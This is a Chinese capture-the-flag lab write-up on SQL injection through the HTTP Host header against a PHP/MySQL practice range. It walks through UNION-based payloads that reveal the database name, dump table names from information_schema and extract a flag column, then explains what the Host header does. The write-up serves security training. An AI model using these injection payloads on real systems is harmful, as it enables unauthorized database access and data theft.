墨者学院mysql注入_【墨者学院】:HTTP头注入实战(host注入)

0x00.题目描述:

背景介绍

安全工程师"墨者"最近在练习MySQL头部注入漏洞,自己刚搭建好一个靶场环境PHP+MySQL。尽情的练习SQL注入吧。

实训目标

1、掌握SQL注入原理;

2、了解手工注入的方法

3、了解MySQL的数据结构;

4、了解HTTP头部注入;

解题方向

HTTP头部(HOST注入)

0x01.解题思路:

靶场环境:

7f3f8cba465a

主界面

7f3f8cba465a

墨者网页

手动检测注入点:

7f3f8cba465a

测试行数:

联合注入,首先测出是具体哪几行会出现在返回的网页中,可以看到是第2,3,4行会出现,接下来就是进行爆库。

7f3f8cba465a

一共4行

7f3f8cba465a

手工注入:

利用头部host注入点加联合注入,来进行爆库:

首先是爆数据库名:

payload:union select 1,2,database(),4%23。

response:pentesterlab(当前数据库名)。

7f3f8cba465a

爆数据库名

爆表名:

payload:union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='pentesterlab'),4

7f3f8cba465a

爆数据库表名

爆列名:类似于表名(列名为id,flag)。

爆字段:

payload:union select 1,2,(select group_concat(flag) from flag),4

爆完字段后,再丢到主界面验证得到flag~

0x02.总结:

1.Host字段的作用

通常,我们一台服务器上不止有一个web程序,很多情况下都有几个web程序,也就是说这几个web程序共用一个ip地址。当我们配置基于端口的虚拟主机,这是没有什么问题的,不同的web程序可以通过不同的端口来判断。但是,当我们配置基于域名的虚拟主机时,几个web程序共用一个ip地址(这里我们假设为192.168.1.1)和一个端口(这里我们假设为80端口)。那么,当客户端请求都发到了服务器的80端口,服务器怎么判断这条请求是发送给哪个web程序的呢?这时候,host头出现了,host头指定了应该由哪个网站或是web应用程序来处理一个传入的HTTP请求。web服务器使用该头部的值来将请求分派到指定的网站或web应用程序之上。

2.实际中的意义貌似不大,host投注入一般是用来缓存污染和密码重置,基于host的sql注入方式实在少见。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值